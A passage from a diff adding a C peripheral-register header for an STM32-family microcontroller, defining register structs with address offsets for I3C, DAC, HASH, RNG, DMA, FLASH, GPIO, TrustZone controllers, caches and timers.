Maximum Write Length register, Address offset: 0x94 */ + uint32_t RESERVED7[2]; /*!< Reserved, Address offset: 0x98-0x9C */ + __IO uint32_t TIMINGR0; /*!< I3C Timing 0 register, Address offset: 0xA0 */ + __IO uint32_t TIMINGR1; /*!< I3C Timing 1 register, Address offset: 0xA4 */ + __IO uint32_t TIMINGR2; /*!< I3C Timing 2 register, Address offset: 0xA8 */ + uint32_t RESERVED9[5]; /*!< Reserved, Address offset: 0xAC-0xBC */ + __IO uint32_t BCR; /*!< I3C Bus Characteristics register, Address offset: 0xC0 */ + __IO uint32_t DCR; /*!< I3C Device Characteristics register, Address offset: 0xC4 */ + __IO uint32_t GETCAPR; /*!< I3C GET CAPabilities register, Address offset: 0xC8 */ + __IO uint32_t CRCAPR; /*!< I3C Controller CAPabilities register, Address offset: 0xCC */ + __IO uint32_t GETMXDSR; /*!< I3C GET Max Data Speed register, Address offset: 0xD0 */ + __IO uint32_t EPIDR; /*!< I3C Extended Provisioned ID register, Address offset: 0xD4 */ +} I3C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[103]; /*!< HASH context swap registers, Address offset: 0x0F8-0x290 */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[16]; /*!< HASH digest registers, Address offset: 0x310-0x34C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2[54]; /*!< Reserved, 0x24 - 0xF8 */ + __IO uint32_t SR; /*!< Debug MCU SR register, Address offset: 0xFC */ + __IO uint32_t DBG_AUTH_HOST; /*!< Debug DBG_AUTH_HOST register, Address offset: 0x100 */ + __IO uint32_t DBG_AUTH_DEV; /*!< Debug DBG_AUTH_DEV register, Address offset: 0x104 */ + __IO uint32_t DBG_AUTH_ACK; /*!< Debug DBG_AUTH_ACK register, Address offset: 0x108 */ + uint32_t RESERVED3[945]; /*!< Reserved, 0x10C - 0xFCC */ + __IO uint32_t PIDR4; /*!< Debug MCU Peripheral ID register 4, Address offset: 0xFD0 */ + __IO uint32_t PIDR5; /*!< Debug MCU Peripheral ID register 5, Address offset: 0xFD4 */ + __IO uint32_t PIDR6; /*!< Debug MCU Peripheral ID register 6, Address offset: 0xFD8 */ + __IO uint32_t PIDR7; /*!< Debug MCU Peripheral ID register 7, Address offset: 0xFDC */ + __IO uint32_t PIDR0; /*!< Debug MCU Peripheral ID register 0, Address offset: 0xFE0 */ + __IO uint32_t PIDR1; /*!< Debug MCU Peripheral ID register 1, Address offset: 0xFE4 */ + __IO uint32_t PIDR2; /*!< Debug MCU Peripheral ID register 2, Address offset: 0xFE8 */ + __IO uint32_t PIDR3; /*!< Debug MCU Peripheral ID register 3, Address offset: 0xFEC */ + __IO uint32_t CIDR0; /*!< Debug MCU Component ID register 0, Address offset: 0xFF0 */ + __IO uint32_t CIDR1; /*!< Debug MCU Component ID register 1, Address offset: 0xFF4 */ + __IO uint32_t CIDR2; /*!< Debug MCU Component ID register 2, Address offset: 0xFF8 */ + __IO uint32_t CIDR3; /*!< Debug MCU Component ID register 3, Address offset: 0xFFC */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1; /*!< Reserved 1, Address offset: 0x1C */ + __IO uint32_t RTSR2; /*!< EXTI Rising Trigger Selection Register 2, Address offset: 0x20 */ + __IO uint32_t FTSR2; /*!< EXTI Falling Trigger Selection Register 2, Address offset: 0x24 */ + __IO uint32_t SWIER2; /*!< EXTI Software Interrupt event Register 2, Address offset: 0x28 */ + __IO uint32_t RPR2; /*!< EXTI Rising Pending Register 2, Address offset: 0x2C */ + __IO uint32_t FPR2; /*!< EXTI Falling Pending Register 2, Address offset: 0x30 */ + __IO uint32_t SECCFGR2; /*!< EXTI Security Configuration Register 2, Address offset: 0x34 */ + __IO uint32_t PRIVCFGR2; /*!< EXTI Privilege Configuration Register 2, Address offset: 0x38 */ + uint32_t RESERVED2[9]; /*!< Reserved 2, 0x3C-- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED3[3]; /*!< Reserved 3, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ + uint32_t RESERVED4[2]; /*!< Reserved 4, 0x88 -- 0x8C */ + __IO uint32_t IMR2; /*!< EXTI Interrupt Mask Register 2, Address offset: 0x90 */ + __IO uint32_t EMR2; /*!< EXTI Event Mask Register 2, Address offset: 0x94 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x04 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x08 */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x0C */ + __IO uint32_t NSOBKKEYR; /*!< FLASH non-secure option bytes keys key register, Address offset: 0x10 */ + __IO uint32_t SECOBKKEYR; /*!< FLASH secure option bytes keys key register, Address offset: 0x14 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x18 */ + __IO uint32_t OPTCR; /*!< Flash Option Control Register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t NSCCR; /*!< FLASH non-secure clear control register, Address offset: 0x30 */ + __IO uint32_t SECCCR; /*!< FLASH secure clear control register, Address offset: 0x34 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x38 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0x3C */ + __IO uint32_t NSOBKCFGR; /*!< FLASH non-secure option byte key configuration register, Address offset: 0x40 */ + __IO uint32_t SECOBKCFGR; /*!< FLASH secure option byte key configuration register, Address offset: 0x44 */ + __IO uint32_t HDPEXTR; /*!< FLASH HDP extension register, Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x4C */ + __IO uint32_t OPTSR_CUR; /*!< FLASH option status current register, Address offset: 0x50 */ + __IO uint32_t OPTSR_PRG; /*!< FLASH option status to program register, Address offset: 0x54 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x58-0x5C */ + __IO uint32_t NSEPOCHR_CUR; /*!< FLASH non-secure epoch current register, Address offset: 0x60 */ + __IO uint32_t NSEPOCHR_PRG; /*!< FLASH non-secure epoch to program register, Address offset: 0x64 */ + __IO uint32_t SECEPOCHR_CUR; /*!< FLASH secure epoch current register, Address offset: 0x68 */ + __IO uint32_t SECEPOCHR_PRG; /*!< FLASH secure epoch to program register, Address offset: 0x6C */ + __IO uint32_t OPTSR2_CUR; /*!< FLASH option status current register 2, Address offset: 0x70 */ + __IO uint32_t OPTSR2_PRG; /*!< FLASH option status to program register 2, Address offset: 0x74 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x78-0x7C */ + __IO uint32_t NSBOOTR_CUR; /*!< FLASH non-secure unique boot entry current register, Address offset: 0x80 */ + __IO uint32_t NSBOOTR_PRG; /*!< FLASH non-secure unique boot entry to program register, Address offset: 0x84 */ + __IO uint32_t SECBOOTR_CUR; /*!< FLASH secure unique boot entry current register, Address offset: 0x88 */ + __IO uint32_t SECBOOTR_PRG; /*!< FLASH secure unique boot entry to program register, Address offset: 0x8C */ + __IO uint32_t OTPBLR_CUR; /*!< FLASH OTP block lock current register, Address offset: 0x90 */ + __IO uint32_t OTPBLR_PRG; /*!< FLASH OTP block Lock to program register, Address offset: 0x94 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x98-0x9C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0xAC */ + uint32_t RESERVED6[4]; /*!< Reserved6, Address offset: 0xB0-0xBC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xC0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xC4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xC8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xCC */ + uint32_t RESERVED7[4]; /*!< Reserved7, Address offset: 0xD0-0xDC */ + __IO uint32_t SECWM1R_CUR; /*!< FLASH secure watermark 1 current register, Address offset: 0xE0 */ + __IO uint32_t SECWM1R_PRG; /*!< FLASH secure watermark 1 to program register, Address offset: 0xE4 */ + __IO uint32_t WRP1R_CUR; /*!< FLASH write sector group protection current register for bank1, Address offset: 0xE8 */ + __IO uint32_t WRP1R_PRG; /*!< FLASH write sector group protection to program register for bank1, Address offset: 0xEC */ + __IO uint32_t EDATA1R_CUR; /*!< FLASH data sectors configuration current register for bank1, Address offset: 0xF0 */ + __IO uint32_t EDATA1R_PRG; /*!< FLASH data sectors configuration to program register for bank1, Address offset: 0xF4 */ + __IO uint32_t HDP1R_CUR; /*!< FLASH HDP configuration current register for bank1, Address offset: 0xF8 */ + __IO uint32_t HDP1R_PRG; /*!< FLASH HDP configuration to program register for bank1, Address offset: 0xFC */ + __IO uint32_t ECCCORR; /*!< FLASH ECC correction register, Address offset: 0x100 */ + __IO uint32_t ECCDETR; /*!< FLASH ECC detection register, Address offset: 0x104 */ + __IO uint32_t ECCDR; /*!< FLASH ECC data register, Address offset: 0x108 */ + uint32_t RESERVED8[37]; /*!< Reserved8, Address offset: 0x10C-0x19C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0x1A0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0x1A4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0x1A8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0x1AC */ + uint32_t RESERVED9[4]; /*!< Reserved9, Address offset: 0x1B0-0x1BC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0x1C0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0x1C4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0x1C8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0x1CC */ + uint32_t RESERVED10[4]; /*!< Reserved10, Address offset: 0x1D0-0x1DC */ + __IO uint32_t SECWM2R_CUR; /*!< FLASH secure watermark 2 current register, Address offset: 0x1E0 */ + __IO uint32_t SECWM2R_PRG; /*!< FLASH secure watermark 2 to program register, Address offset: 0x1E4 */ + __IO uint32_t WRP2R_CUR; /*!< FLASH write sector group protection current register for bank2, Address offset: 0x1E8 */ + __IO uint32_t WRP2R_PRG; /*!< FLASH write sector group protection to program register for bank2, Address offset: 0x1EC */ + __IO uint32_t EDATA2R_CUR; /*!< FLASH data sectors configuration current register for bank2, Address offset: 0x1F0 */ + __IO uint32_t EDATA2R_PRG; /*!< FLASH data sectors configuration to program register for bank2, Address offset: 0x1F4 */ + __IO uint32_t HDP2R_CUR; /*!< FLASH HDP configuration current register for bank2, Address offset: 0x1F8 */ + __IO uint32_t HDP2R_PRG; /*!< FLASH HDP configuration to program register for bank2, Address offset: 0x1FC */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + __IO uint32_t MPCWM3BCFGR; /*!< TZSC memory 3 sub-region B watermark configuration register, Address offset: 0x68 */ + __IO uint32_t MPCWM3BR; /*!< TZSC memory 3 sub-region B watermark register, Address offset: 0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + __IO uint32_t MPCWM4BCFGR; /*!< TZSC memory 4 sub-region B watermark configuration register, Address offset: 0x78 */ + __IO uint32_t MPCWM4BR; /*!< TZSC memory 4 sub-region B watermark register, Address offset: 0x7c */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x17C */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x1FC */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM 